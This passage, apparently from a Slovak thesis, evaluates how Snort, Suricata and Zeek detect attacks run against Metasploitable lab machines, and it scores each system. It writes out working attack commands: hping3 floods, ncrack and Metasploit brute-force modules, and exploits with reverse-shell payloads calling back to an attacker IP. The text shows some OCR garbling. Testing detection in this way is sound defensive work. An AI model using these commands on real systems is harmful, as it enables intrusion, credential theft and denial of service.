na definovanom siefovom rozhrani, ku ktorému je po&itaé pripojeny. Oba po-
skytuju Siroku funkcionalitu, ktora zahffia pokrocilé filtrovanie paketov podla
IP adries, protokolov a roznych inych vlastnosti, Statistiky prevadzky, pracu
so Sifrovanymi paketmi, vstup a vystup do siborov, a mnoho dalSieho [37]
[38].

tcpdump mé otvoreny zdrojovy kéd3®, ovlada sa cez prikazovy riadok a dé
sa jednoducho nainstalovat pomocou spravcu balickov na Linuxe. Wireshark
mé na rozdiel od tcpdumpu okrem prikazového riadka aj grafické uZivatelské
rozhranie a je dostupny pre vsetky platformy vratane Windowsu. Je to slo-
bodny softvér a dé sa jednoducho stiahnut®’ a nainstalovat.

3.2.1 Linux

Prvy ciel je virtudlny stroj s ndzvom Metasploitable 2, ktory je mozné vyhladat
a volne stiahnut na internete®®. Je na 1om nainstalovany opera¢ny systém
Ubuntu 8.04 s linuxovym jadrom a ttoky sa budi zaznamendvat do stiborov
pomocou prikazu:

33https://www.rapid7.com/
3nttps://www.metasploit.com/download

35Napriklad tu: https://www.vulnhub.com/
3%nttps://github.com/the-tcpdump-group/tcpdump
3"https://www.wireshark.org/#download
3¥nttps://sourceforge.net/projects/metasploitable/
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3.2. Ciele

tcpdump -i ethO -s 0 -w file.pcap
Kde majia parametre nasledujici vyznam:
-i uréuje rozhranie, na ktorom sa budt pakety zachytavat.

-s definuje maximalnu velkost ukladanych paketov a hodnota nula znamens
ukladanie celych paketov.

-w nastavuje vystupny sibor.

Okrem toho sa na Metasploitable 2 nachddza mnoZstvo zranitelnych sluzieb,
z ktorych st pre potreby tejto prace zaujimavé nasledujtice:

e ssh

http

Samba — smb (netbios-ssn, microsoft-ds)
e postgres

® vVnc

3.2.2 Windows

Druhy ciel je novsia verzia predchddzajticeho virtualneho stroja s ndzvom Me-
tasploitable 3, ktord je rovnako volne dostupnd na internete, avéak pred pouZi-
tim sa musi na rozdiel od dvojky najprv automaticky zostavit. Kompletny pro-
ces stiahnutia a zostavenia tohto stroja je popisany na jeho oficidlnej stranke3?.
Tentokrat vSsak obsahuje opera¢ny systém Windows Server 2008 R2 a preto
sa budt pakety utokov zachytdvat pomocou tohto prikazu, ktory je velmi
podobny predchadzajicemu:

tshark -i 1 -w file.pcap

Ked'Ze v tomto pripade nie je potrebé grafické uzivatelské rozhranie, bude
pouzity tshark, ¢o je ekvivalent Wiresharku na prikazovom riadku.

-i uréuje rozhranie, na ktorom sa budi pakety zachytavat. Zoznam vsetkych
dostupnych rozhrani sa dé zobrazif prikazom tshark -D.

-w nastavuje vystupny subor.
Nakoniec st na Metasploitable 3 zaujimavé nasledujice sluzby:

e psexec (netbios-ssn, microsoft-ds)

3nttps://github.com/rapid7/metasploitable3
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e snmp
e rdp

e Apache Tomcat

Pred samotnym testovanim sa eSte nastavia lokdlne monitorované siete
do konfigurécii jednotlivych NIDS. V tomto pripade st to IP adresy cielov.
V Snorte sa nastavia do premennej HOME_NET v jeho hlavnom konfigura¢nom
subore snort.conf. U Suricaty je to premenna s rovnakym nazvom v konfi-
gura¢nom subore suricata.yaml a potom sa eSte namapujui tieto IP adresy
v sekcii host-os-policy ku prislusnym operacnym systémom. V Zeeku sa
pridaji na koniec stiboru networks.cfg v CIDR*® notacii.

“ONapriklad 192.168.1.100/32 pre jednu IP adresu a 192.168.1.0/24 pre celi siet.
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KAPITOLA 4

Testovanie NIDS

T4to kapitola sa bude zaoberat vykondvanim siefovych titokov a ich analyzou
jednotlivymi NIDS rieSeniami. Priebeh kazdého ttoku bude podrobnejsie po-
pisany a nasledne budu vyhodnotené reakcie jednotlivych NIDS. Popri vy-
konavani utokov je na pozadi spusteny skript, ktory produkuje beznt webovi
prevadzku pre realnejsiu simuldciu skutoéného prostredia.

Pre doplnenie a rozsirenie celkového spektra ttokov budi analyzované aj
pcap subory, ktoré st dostupné na internete. Rovnako bude analyzovana aj
neskodnd sietova prevddzka. To umozni komplexné otestovanie jednotlivych
NIDS rieseni v rozli¢cnych scenédroch.

Snort vypisuje detekované udalosti priamo na standardny vystup. Suricata
ich uklada do logu s nazvom fast.log. Vystup Zeeku sa nachadza vo via-
cerych stiboroch a je potrebné, aby ich administrator skontroloval vsetky a
podrobnejsie analyzoval udalosti sam.

4.1 VsSeobecné utoky

4.1.1 Normalne skenovanie
Utok

V skutocnosti vécSine titokov predchadza skenovanie cielov. Tak to bude aj
v tejto praci. Na tato tilohu je pouzity znamy prikaz nmap s prepina¢mi vy-
svetlenymi v kapitole 1 a s jednym novym prepinacom -Pn, ktory nastavuje
nmap tak, aby predpokladal, Ze ciel je online. Kompletny prikaz vyzerd takto:

nmap -n -Pn -sV metasploitable2

Snort
Snort dokézal presne detekovat tento ttok, preto mé 100%. Ukézka z logu:
SCAN Suspicious inbound to mySQL port 3306
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SCAN Nmap Scripting Engine User-Agent Detected

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek zachytil tento ttok udalostami s réznymi cielovymi portmi. Vdaka tomu
moze administrator velmi jednoducho usudit o aky titok sa jedna. Preto do-
stane 100%. Ukazka z logu conn.log:

# src.ip src.p dst.ip dst.p proto
192.168.200.1 49044  192.168.200.144 139 tcp
192.168.200.1 49044  192.168.200.144 22 tcp
192.168.200.1 49044  192.168.200.144 443 tcp

4.1.2 Pomalé skenovanie

Toto skenovanie je pomocou parametra -T nastavené na pomalé odosielanie
paketov. Taktiez je vypnuty prepina¢ na zistovanie verzif sluZieb a je nastaveny
maly pocet skenovanych portov. Tieto nastavenia by mali dosiahnut to, aby
bolo faZie ho zachytit:

nmap -n -Pn -T sneaky --top-ports=10 metasploitable2

Snort

Snort vobec nedetekoval tento ttok, preto mé 0%.

Suricata

Suricata vobec nedetekovala tento ttok, preto mé 0%.

Zeek

Zeek zachytil tento tok udalostami s réznymi cielovymi portmi. Vdaka tomu
moZe administrator, ak je dostatoéne pozorny, usudif o aky ttok sa jednd.
Preto dostane 50%. Ukézka z logu conn.log:

# src.ip src.p dst.ip dst.p  proto
192.168.200.1 49044  192.168.200.144 110 tcp
192.168.200.1 49044  192.168.200.144 25 tcp
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4.1. Vseobecné utoky

4.1.3 ICMP flood

Denial of Service je typ siefového titoku, ktory mé za tcel pretaZitf cielovi
sluzbu tak, aby nebola dostupna pre jej skutoénych uzivatelov. To sa d4
dosiahnut napriklad zneuzitim chyby v programe, ktord sposobi jeho zlyha-
nie. Dals{m sposobom je zneuzitie vlastnosti protokolov, ¢o umoznuje zahl-
tenie ciela obrovskym mmnoZstvom poziadaviek, ktorych spracovanie spdsobi
vycerpanie jeho prostriedkov a nedostupnost sluzby, ktort poskytuje. Ok-
rem toho existuji este d'alsie druhy DoS ttokov. DoS je jeden z najcastejsie
pouzivanych sietovych ttokov v sicastnosti [39].

ICMP flood je typ DoS titoku, v ktorom sa uto¢nik snaZi zahltit ciel ICMP
echo-request paketmi. Tento utok sa vykond pomocou programu hping3
takto:

hping3 -1 --flood --rand-source metasploitable2

Snort

Snort vobec nedetekoval tento utok, preto mé 0%.

Suricata

Suricata zachytila tento ttok Ciastocne. Pre kazdy paket s podozrivou zdro-
jovou IP adresou vypisala zdznam do logu. Vd'aka tomu moze administrator
celkom presne ur¢it, Ze st dané IP adresy spoofované a preto sa s velkou
pravdepodobnostou jedné o DoS ttok. Preto dostane 100%. Ukazka z logu:

DROP Spamhaus DROP Listed Traffic Inbound group

Zeek

Zeek zachytil tento utok velkym mnozstvom ICMP udalosti s roznymi zdro-
jovymi IP adresami. Vd'aka tomu mo6Ze administrator velmi jednoducho ustdit
o aky utok sa jedné. Preto dostane 100%. Ukézka z logu conn.log:

# src.ip dst.ip proto
247.177.113.199 192.168.200.144 icmp
145.36.190.138 192.168.200.144 icmp

4.1.4 Teardrop

Teardrop je typ DoS utoku, v ktorom uto¢nik posle fragmentované pakety
na ciel. Ten ich nedokdZe znovu poskladat, pretoze sa navzajom prekryvaji
a to sposobi zriitenie cielového systému. pcap stibor je dostupny na internete®!.

“nttps://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=
teardrop.cap
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Snort

Snort dokézal presne detekovat tento titok, preto méa 100%. Ukézka z logu:

Short fragment, possible DoS attempt
[Attempted Denial of Servicel

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek zachytil tento itok v logu weird.log spravou fragment_inconsistency,
preto méa 100%.

4.2 SSH

Na tuto sluzbu bude pusteny bruteforce atok pouzitim modulu v Metasploite,
ktory sa snazi uhddnuf prihlasovacie idaje slovnikovou metédou. Najprv sa
spust{ rozhranie a nasleduje prikaz pre vyber modulu. Potom sa nastavi cielovy
host, slovnikovy siibor a nakoniec sa pusti samotny ttok.

Ukéazka 4.1: ssh bruteforce utok.

root@localhost# msfconsole
msf5 > use auxiliary/scanner/ssh/ssh_login

msf5 ... > set RHOSTS metasploitable2
msf5 ... > set USERPASS_FILE userpass.txt
msf5 ... > run

Snort

Snort zachytil tento tok ¢iastocne. Vypisal iba jeden zaznam do logu a neda
sa z neho s istotou urcit, o aky 1utok sa jedni. Preto dostane 50%. Ukézka
z logu:

SCAN Potential SSH Scan [Attempted Information Leak]

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 50%.

Zeek

Zeek zachytil tento itok ssh udalostami s jedinou zdrojovou IP adresou a ne-
tspesnymi pokusmi o prihldsenie. Vdaka tomu moZe administrator velmi
jednoducho ustdit o aky ttok sa jednd. Preto dostane 100%. Log okrem
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4.3. HTTP(S)

ukazanych informécii obsahuje este klientsky a serverovy softér, algoritmy
Sifrovania, kompresie, vymeny klucov a dalsie. Ukdzka z logu ssh.log obsa-
huje dva netispesné a jeden tspesny pokus:

# src.ip src.p dst.ip dst.p  auth_success
192.168.200.1 33463  192.168.200.144 22 -
192.168.200.1 45421 192.168.200.144 22 T

192.168.200.1 43537 192.168.200.144 22 -

4.3 HTTP(S)

4.3.1 SYN flood

SYN flood ttok je typ DoS titoku, v ktorom titoénik zneuZiva vlastnost nad-
viazania pripojenia protokolu TCP, kedy posiela obrovské mnozstvo SYN pa-
ketov s ndhodnou zdrojovou adresou, na ktoré ciel odpovedd a tak zbytocne
vytaZzuje svoje prostriedky. Utok vyzera takto:

hping3 -S -p 80 --flood --rand-source metasploitable2

Snort

Snort zachytil tento utok ciastocne. Pre kazdy paket s podozrivou zdrojovou
IP adresou vypisal zdznam do logu. Vd'aka tomu moze administrator celkom
presne uréit, ze si dané IP adresy spoofované a preto sa s velkou pravdepo-
dobnostou jedna o DoS ttok. Preto dostane 100%. Ukazka z logu:

DROP Spamhaus DROP Listed Traffic Inbound group

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek zachytil tento utok velkym mnoZstvom TCP udalost{ s réznymi zdro-
jovymi IP adresami. Vd aka tomu moZe administrator velmi jednoducho ustdit
o aky utok sa jednd. Preto dostane 100%. Ukézka z logu conn.log:

# src.ip src.p dst.ip dst.p  proto
192.24.132.124 1346 192.168.200.144 80 tcp
102.48.179.124 1347 192.168.200.144 80 tcp
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4.3.2 PHP CGI argument injection

KedZe sa vo firme pouZiva jazyk PHP v kombinécii s Apache httpd web
serverom, bude ukdzany utok na tento softvér. StarSia verzia jazyka PHP
v spominanej kombinécii je zranitelnd vloZenim Specidlne upravenych argu-
mentov query stringu, ktoré umoziiuji vykondvanie Iubovolnych prikazov
na strane servera. Zranitelné verzie a viac informécii je tu [40].

V samotnom tutoku sa najprv zvoli spravny modul, nastavi sa PAYLOAD,
ktory vytvori na cielovom hostovi zadné dvierka v podobe reverzného shellu.
Pomocou tohto shellu ziska itocnik jednoduchy a efektivny pristup k ovladaniu
infikovaného ciela. Preto sa musi okrem ciela definovat aj IP adresa tito¢nika.

Ukéazka 4.2: PHP CGI argument injection.
msf5 > use exploit/multi/http/php_cgi_arg_injection

msf5 ... > set PAYLOAD php/meterpreter/reverse_tcp
msf5 ... > set RHOST metasploitable2

msf5 ... > set LHOST 192.168.200.1

msf5 > run

Snort

Snort dokézal presne detekovat tento titok, preto méa 100%. Ukézka z logu:

[A Network Trojan was detected]
[Web Application Attack]

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek zachytil tento utok v jednej udalosti, avsak pre administratora je takmer
nemozné ho identifikovat. Preto dostane 0%.

4.3.3 Apache Tomcat

Tento ttok nahra na aplikacny server Tomcat program v jazyku Java, ktory
spusti na serveri reverzny shell. Aby to vSak bolo moZné spravit, je potrebné
zistit prihlasovacie iidaje do Tomcatu. Tie st v prvej ¢asti ukazky uhadnuté
vdaka pomocnému modulu, ktory ich bruteforcuje.

Ukéazka 4.3: psexec utok.

msf5 > use auxiliary/scanner/http/tomcat_mgr_login

msf5 ... > set RHOST metasploitable2
msf5 ... > set RPORT 8180
msf5 ... > run
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[+] 192.168.200.144:8180 - Login Successful: tomcat:tomcat

msf5 > use exploit/multi/http/tomcat_mgr_deploy
msf5 > set PAYLOAD java/meterpreter/reverse_tcp
msf5 > set RHOST metasploitable2

msf5 > set LHOST 192.168.200.1

msfb > set RPORT 8180

msf5 > set HTTPPASSWORD tomcat

msf5 > set HTTPUSERNAME tomcat

msfb > run

Snort

Snort dokézal presne detekovaf tento ttok, preto mé 100%. Ukézka z logu:

POLICY Incoming Basic Auth Base64 HTTP Password detected
unencrypted

SCAN Tomcat admin-admin login credentials

[Attempted Administrator Privilege Gain]

Suricata
Suricata dokdzala presne detekovat tento titok, preto méa 100%. Ukazka z logu:

SCAN Tomcat Auth Brute Force attempt
[Web Application Attack]

Zeek

Zeek zachytil tento titok viacerymi http udalostami. Vd'aka tomu moze admi-
nistrator velmi jednoducho ustdit o aky titok sa jedni. Preto dostane 100%.
Ukéazka z logu http.log obsahuje jeden netspesny a jeden tspesSny pokus
o prihlasenie:

# src.ip src.p dst.ip dst.p method

192.168.200.1 37121 192.168.200.144 8180 GET
192.168.200.1 43397 192.168.200.144 8180 GET

# uri status_msg username
/manager/html Unauthorized admin
/manager/html 0K tomcat

4.3.4 TCP Packet injection

Vlozeny TCP paket spdsobuje presmerovanie na inti webovi stranku, nez odo-
slal povodny webserver. pcap stibor je dostupny na internete®?.

“nttps://wuw.netresec.com/files/hao123-com_packet-injection.pcap
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Snort

Snort zachytil tento titok ¢iastoéne. Vypisal niekolko zdznamov do logu a nedd
sa z nich s istotou uré¢it, o aky utok sa jedna. Preto dostane 50%. Ukézka
z logu:

NO CONTENT-LENGTH OR TRANSFER-ENCODING IN HTTP RESPONSE
INVALID CONTENT-LENGTH OR CHUNK SIZE

Suricata

Suricata dok4zala presne detekovaf tento titok, preto ma 100%. Ukézka z logu:

reassembly overlap with different data

Zeek

Zeek vobec nedetekoval tento titok, preto ma 0%.

4.3.5 Spyware Injection

Tento titok pridédva do spustitenych stiborov spyware. Ked si ich uzivatel
stiahne z webu a nainstaluje, spyware odosiela rézne informécie ttocnikovi.
pcap sibor je dostupny na internete3.

Snort

Snort vobec nedetekoval tento ttok, preto mé 0%.

Suricata

Suricata vobec nedetekovala tento utok, preto méa 0%.

Zeek

Zeek vobec nedetekoval tento ttok, preto ma 0%.

4.3.6 Heartbleed

Tento utok umoziuje prelomit SSL/TLS Sifrovanie a vystavuje tak citlivé data
tito¢nikovi. Viac informécif je tu [41]. pcap stibor je dostupny na internete®?.

Snort

Snort vobec nedetekoval tento ttok, preto mé 0%.

“*https://github.com/citizenlab/badtraffic/tree/master/pcaps
“nttps://mcfp.felk.cvut.cz/publicDatasets/CTU-Manual-Capture-Attack-1/
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Suricata
Suricata dok4zala presne detekovaf tento titok, preto ma 100%. Ukézka z logu:

TLS overflow heartbeat encountered, possible exploit attempt
(heartbleed)
Possible OpenSSL HeartBleed

Zeek

Zeek vobec nedetekoval tento ttok, preto ma 0%.

4.4 PostgreSQL

Utok na PostgreSQL databazu pozostava z dvoch ¢asti. V prvej casti prebehne
bruteforce utok na zistenie prihlasovacich udajov. Tie sa nasledne pouziju
na pripojenie na databdzovy server. Tam sa overi, ¢i mé dany uzivatel pravo
zapisu do tmp zlozky.

V druhej casti sa tieto informécie vyuziji na vytvorenie reverzného shellu,
ktory zaist{ pristup do systému pod danym uZivatelom. Viac informécif o tejto
zranitelnosti [42].

Ukéazka 4.4: PostgreSQL ttok.

msf5 > use auxiliary/scanner/postgres/postgres_login

msf5 ... > set RHOSTS metasploitable2

msf5 ... > run

[+] 192.168.200.144:5432 - Login Successful: postgres:
postgres@templatel

root@locahost# psql -h metasploitable2 -U postgres -W
Password for user postgres:

postgres=# CREATE TABLE test (output TEXT);

CREATE TABLE

postgres=# INSERT INTO test (output) VALUES (’test’);
INSERT 0 1

postgres=# COPY test(output) TO ’/tmp/test’;

COPY 1

msf5 > use exploit/linux/postgres/postgres_payload

msf5 ... > set RHOSTS metasploitable2
msf5 ... > run
Snort

Snort zachytil tento itok ¢iastoéne. Administrator vsak dokdze jasne rozpoz-
nat hrozbu a vd'aka tomu reagovat. Preto dostane 100%. Ukazka z logu:
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SCAN Suspicious inbound to PostgreSQL port 5432
POLICY Executable and linking format (ELF) file download

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek vobec nedetekoval tento ttok, preto ma 0%.

4.5 VNC

Sluzba pre vzdialené grafické desktopové pripojenie VNC bude podrobend bru-
teforce utoku na uhadnutie prihlasovacich tdajov, podobne ako sluzba ssh.
Tentoraz je vSak pouZity ndstroj ncrack a odosielanie tdajov je ovela po-
malSie v snahe vyhnut sa nechcenej detekcii. Rychlost posielania je definovana
parametrom -g cd=1, ¢o znamena jedna dvojica tidajov priblizne za jednu se-
kundu. Parameter -U urcuje subor s prihlasovacimi menami a parameter —P
urcuje sabor s heslami.

ncrack -g cd=1 -U users.txt -P passwords.txt metasploitable2:5900

Snort

Snort zachytil tento itok ¢iastocne. Vypisal iba jeden zaznam do logu a neda
sa z neho s istotou urcit, o aky 1tok sa jedni. Preto dostane 50%. Ukézka
z logu:

SCAN Potential VNC Scan 5900-5920 [Attempted Information Leak]

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 50%.

Zeek

Zeek zachytil tento titok sériou rfb udalosti. Vd'aka tomu moZze administrator
velmi jednoducho usudit o aky dtok sa jedni. Preto dostane 100%. Ukézka
z logu rfb.log:

# src.ip src.p dst.ip dst.p  auth_method
192.168.200.1 55676  192.168.200.144 5900 Invalid
192.168.200.1 55678  192.168.200.144 5900 Invalid
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4.6 SNMP

Ako uz bolo spomenuté v kapitole 1, protokol SNMP slizi na monitorovanie
a spravovanie poc¢itacov po sieti. V pripade, Ze nie je dostatoéne zabezpeceny,
je veelku jednoduché ziskat do neho pristup.

V tomto pripade je vyuzity modul Metasploitu, ktory hdda nédzov komu-
nity metédou bruteforce. Komunita je hodnota, ktorda SNMP vyuziva pre ove-
renie pristupu. Ako vidno v ukazke na riadku Styri, bola ndjdend komunita
monitoring s pravom citania.

Tato komunita je druhym modulom pouzitd na ziskanie vsSetkych do-
stupnych informécii, ktoré zahffaji systémové informécie, zoznam uzivatelov,
siefové nastavenia, otvorené porty, beZiace procesy a d’aldie uzitoéné informacie.
Tieto informdcie bud pouzité v d'alsom ttoku.

Ukazka 4.5: SNMP 1tok.

msf5 > use auxiliary/scanner/snmp/snmp_login

msf5 ... > set RHOST metasploitable3

msf5 ... > run

[+] 192.168.200.242:161 - Login Successful: monitoring (Access
level: read-only);

msfb > use auxiliary/scanner/snmp/snmp_enum
msf5 > set RHOST metasploitable3

msfb > set COMMUNITY monitoring

msf5 > run

Snort

Snort dokézal presne detekovat tento titok, preto méa 100%. Ukézka z logu:

SNMP Attempted UDP Access Attempt
[Attempted Administrator Privilege Gain]

Suricata

Suricata zareagovala rovnako ako Snort, preto ma 100%.

Zeek

Zeek vobec nedetekoval tento titok, preto mé 0%.

4.7 RDP

RDP je protokol pre vzdialeny pristup k Windows Serveru. Zoznam uZivatelov
ziskany v utoku na SNMP bol ulozeny do stboru users.txt a je vyuzity
na bruteforce tutok na tuto sluzbu. Tento sibor je nastaveny ku parametru
pre uzivatelské mend a rovnako aj pre hesld. V ukdzke je vidno, Ze pomocou
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tejto trividlnej metddy boli ziskané prihlasovacie tidaje az ku dvom uctom
na cielovom serveri.

Ukéazka 4.6: RDP bruteforce ttok.

root@localhost# ncrack -U users.txt -P users.txt metasploitable3
: 3389

Discovered credentials for ms-wbt-server on 192.168.200.242 3389/
tcp:

192.168.200.242 3389/tcp ms-wbt-server: ’vagrant’ ’vagrant’

192.168.200.242 3389/tcp ms-wbt-server: ’Administrator’ ’vagrant’

Snort
Snort dokézal presne detekovat tento titok, preto méa 100%. Ukézka z logu:

SCAN Behavioral Unusually fast Terminal Server Traffic Potential
Scan or Infection

Microsoft Windows RemoteDesktop new session flood attempt

[Attempted Administrator Privilege Gain]

Suricata

Suricata zachytila tento utok ¢iastoéne. Vypisala niekolko zdznamov do logu
a ned4 sa z nich s istotou uréit, o aky ttok sa jedni. Preto dostane 50%.
Ukéazka z logu:

POLICY RDP connection confirm
SCAN Behavioral Unusually fast Terminal Server Traffic Potential
Scan or Infection

Zeek

Zeek zachytil tento titok sériou rdp udalosti. Vd'aka tomu moZe administrator
velmi jednoducho usudit o aky dtok sa jedné. Preto dostane 100%. Ukézka
z logu rdp.log:

# src.ip src.p dst.ip dst.p client_name
192.168.200.1 36178  192.168.200.242 3389 NCRACK
192.168.200.1 36180 192.168.200.242 3389 NCRACK

4.8 Samba

4.8.1 psexec

Pomocou prihlasovacich udajov, ktoré boli ziskané v predchddzajicom ttoku
je mozné prihlasit sa do sluzby RDP. Rovnako je mozné ich pouzit v module
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z ukézky, ktory vytvori reverzny shell pomocou sluzby psexec. Ten dokaze
posielat a kédovat data tak, aby sa nikdy neukladali na disk, a kazdy payload
bol unikatny. Z tohto dévodu by mal byt fazsie detekovatelny pre signature-
based algoritmy [43].

Ukéazka 4.7: psexec tutok.

msf5 > use exploit/windows/smb/psexec_psh

msf5 ... > set RHOST metasploitable3
msfb > set SMBUser vagrant

msf5 ... > set SMBPass vagrant

msf5 > run

Snort

Snort dokézal presne detekovat tento titok, preto ma 100%. Ukazka z logu:

POLICY Powershell Activity Over SMB - Likely Lateral Movement
[A Network Trojan was detected]
TROJAN Possible Metasploit Payload Common Construct Bind_API

Suricata
Suricata dok4zala presne detekovaf tento titok, preto ma 100%. Ukézka z logu:

SMB malformed request data

POLICY Powershell Activity Over SMB - Likely Lateral Movement
[A Network Trojan was detected]

TROJAN Possible Metasploit Payload Common Construct Bind_API

Zeek

Zeek vobec nedetekoval tento ttok, preto ma 0%.

4.8.2 Username map script

Tento ttok vyuziva zranitenost konfigurdcie Samby. Pri prihlasovani sa zad4
uzivatelské meno, ktoré obsahuje meta znaky shellu, a tak dokaZe dto¢nik
vykonavat Tubovolné prikazy bez autentifikécie. Viac informécii o tejto zra-
nitelnosti [44].

Tento 1tok, rovnako ako predchidzajici, vytvori na cielovom hostovi re-
verzny shell. Tento krat vsak bol PAYLOAD zvoleny Metasploitom automaticky.

Ukéazka 4.8: Samba — username map script.

msf5 > use exploit/multi/samba/usermap_script
msf5 ... > set RHOSTS metasploitable2
msf5 ... > run
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Snort

Snort vébec nedetekoval tento tutok, preto ma 0%.

Suricata

Suricata vébec nedetekovala tento ttok, preto méa 0%.

Zeek

Zeek zachytil tento utok vo viacerych udalostiach, avsak pre administratora
je takmer nemozné ho identifikovat. Preto dostane 0%.

4.8.3 Directory traversal

Rovnako ako predchadzajici titok na server so Samba sluzbou, aj tento vyuziva
jej zli konfigurdciu a umoziiuje tak pristupovat k celému filesystému ano-
nymne bez prihldsenia. Viac informdcii o tejto zranitelnosti [45].

Uto¢nik si najprv vypise zoznam zdielanych adresarov. Nachadza sa medzi
nimi adresar tmp, ktory zvycajne byva zapisovatelny, ¢o je poziadavka k tejto
zranitelnosti. Nasledne nastavi modul, ciel, zdieland zloZku a potom spusti
titok. Nakoniec sa anonymne pripoji na zdielant zlozku tmp, kde sa nachadza
zlozka rootfs, ktord obsahuje cely filesystém s pravom citania.

Ukazka 4.9: Samba — directory traversal.

root@localhost# smbclient -L //metasploitable2

Sharename Type Comment

print$ Disk Printer Drivers
tmp Disk oh noes!

opt Disk

root@localhost# msfconsole
msf5 > use auxiliary/admin/smb/samba_symlink_traversal

msf5 ... > set RHOST metasploitable2
msf5 ... > set SMBSHARE tmp
msf5 ... > run

root@localhost# smbclient //metasploitable2/tmp
Anonymous login successful
smb: \> cd rootfs\

Snort

Snort vobec nedetekoval tento ttok, preto mé 0%.
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Suricata

Suricata zachytila tento ttok ¢iastoéne. Vypisala niekolko zdznamov do logu
a ned4 sa z nich s istotou uréit, o aky ttok sa jedni. Preto dostane 50%.
Ukazka z logu:

NETBIOS SMB-DS IPC$ share access
NETBIOS SMB-DS Session Setup NTMLSSP unicode asnl overflow attempt

Zeek

Zeek zachytil tento titok viacerymi smb udalostami. Vd'aka tomu moze admi-
nistrator velmi jednoducho usudit o aky ttok sa jedni. Preto dostane 100%.
Ukéazka z logu smb_files.log:

# src.ip src.p dst.ip dst.p action
192.168.200.1 41566 192.168.200.144 445 SMB: :FILE_OPEN
# name

\\rootfs\\root\\.ssh\\authorized_keys
Ukazka z logu smb_mapping.log:

# src.ip src.p dst.ip dst.p
192.168.200.1 44187 192.168.200.144 445
192.168.200.1 44187  192.168.200.144 445

#path share_type
\\\\metasploitable2\\IPC$ PIPE
\\\\metasploitable2\\tmp DISK

4.8.4 Wannacry ransomware scan

Wannacry je ransomware, ktory v pripade tispesnej ndkazy ciela zasifruje jeho
disk. Siri sa po sieti a vyuZiva zranitelnost protokolu Samba. pcap sibor je
dostupny na internete®s.

Snort

Snort vobec nedetekoval tento ttok, preto méa 0%.

Suricata
Suricata dokdzala presne detekovat tento titok, preto méa 100%. Ukdzka z logu:

SCAN Behavioral Unusual Port 445 traffic Potential Scan or
Infection

45ht‘cps ://precisionsec.com/wannacry-pcap-smb-445/
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Zeek

Zeek vobec nedetekoval tento titok, preto ma 0%.

4.9 DNS

4.9.1 Tunneling

DNS tunneling je metéda, v ktorej sa zakoduji akékolvek data (napr. aplikécii
¢i programov) do DNS poziadaviek a odpovedi. Vdaka tomu sa tédto komu-

nikacia ukryje do rozsireného protokolu DNS, ktory slizi na iné ucely a tak

je tazsie detekovatelnd. pcap sibor je dostupny na interneteS.

Snort

Snort vébec nedetekoval tento ttok, preto méa 0%.

Suricata

Suricata vobec nedetekovala tento Utok, preto ma 0%.

Zeek

Zeek zachytil tento titok viacerymi dns udalostami. Z DNS poZiadaviek v tomto
logu je evidentné, Zze obsahuji netradi¢né dita. Vd'aka tomu moze admi-
nistrator velmi jednoducho usudit o aky ttok sa jedni. Preto dostane 100%.
Ukéazka z logu dns.log:

# src.ip src.p dst.ip dst.p
10.0.2.30 44639  10.0.2.20 53
# query

rcyady\xc6\xea\xd4rv\xc8\xe3y\xd7s\xd4rv\xc8\xe3y\xd7s. ..

4.9.2 Spoofing

DNS spoofing je tutok, ktory spdsobuje vratenie nespravnej IP adresy v od-
povedi na DNS poziadavku. To sposobi, Ze obet je nasmerovand na pocitac
tito¢nika bez toho, aby o tom vedela. pcap stibor je dostupny na internete.

Snort

Snort vobec nedetekoval tento ttok, preto mé 0%.

“®https://github.com/elastic/examples/blob/master/Security%20Analytics/dns_
tunnel_detection/dns-tunnel-iodine.pcap

4"https://github.com/waytoalpit/ManOnTheSideAttack-DNS-Spoofing/blob/master/
capture.pcap
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4.10. NTP

Suricata

Suricata vobec nedetekovala tento ttok, preto mé 0%.

Zeek

Zeek zachytil tento Utok vo viacerych udalostiach, avsak pre administratora
je takmer nemoZné ho identifikovat. Preto dostane 0%.

4.10 NTP

Tento utok je typ DoS ttoku, ktory vyuziva chybu v NTP programe a sposobuje
vycerpanie prostriedkov na cielovom hostovi. Viac informdcii o tomto titoku
je tu [46]. pcap stibor je dostupny na internete®®.

Snort

Snort vobec nedetekoval tento tutok, preto ma 0%.

Suricata

Suricata zachytila tento ttok ¢iastoéne. Vypisala niekolko zdznamov do logu
a ned4 sa z nich s istotou uréit, o aky ttok sa jedni. Preto dostane 50%.
Ukazka z logu:

NTP malformed response data
NTP malformed request data

Zeek

Zeek vobec nedetekoval tento ttok, preto ma 0%.

4.11 BeZna siefova prevadzka

Okrem ttokov boli NIDS rieSeniami analyzované aj vzorky beznej siefovej
prevadzky. Ani jedna z nich neobsahuje nebezpecéné aktivity alebo hrozby.
Tabulka 4.1 zobrazuje zoznam testovanych vzoriek a vysledky ich analyzy
NIDS systémami. Cislo 1 znamens, 7e vzorka podla daného NIDS obsahuje
podozriva aktivitu a ¢islo 0 znamena, ze takato aktivita nebola detekovana.

“®nttp://www.pcapr.net/view/todb/2009/11/3/12/ntp_single_byte_dos.pcap.html
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Tabulka 4.1: Analyza benej sietovej prevadzky.

Nézov ‘ Snort ‘ Suricata ‘ Zeek ‘
Verejna prevadzka 1 0 0 0
Verejna prevadzka I1 1 1 1
Interna prevadzka I 0 0 0
Interné prevadzka I1 0 0 0
reactor2 [47] 1 0 0
browsing [47] 0 0 0
2019.03.19_173855 [47] | 1 1 1
tep-trace [47] 0 0 0
fortworth1-500 [47] 1 1 1
Git_Partial Traffic [47] | O 0 0
2015.11.20-235756 [47] | 1 0 0
Test [47] 1 0 1




KAPITOLA 5

Vyhodnotenie a nasadenie
najvhodnejsieho NIDS

V tejto kapitole bude zhrnuté hodnotenie a testovanie vybranych NIDS riesent,
ktorym sa zaoberali predchadzajice kapitoly. Na zaklade toho bude jednot-
livym rieSeniam udelené celkové hodnotenie, vdaka ktorému bude vybrané
najlepsie z nich. To bude nasledne nakonfigurované a nasadené v infrastruktire
firmy. Na zéver bude podrobené testovaniu, aby sa overila jeho funkénost
a spravnost konfigurécie.

5.1 Vyhodnotenie vybranych NIDS rieseni

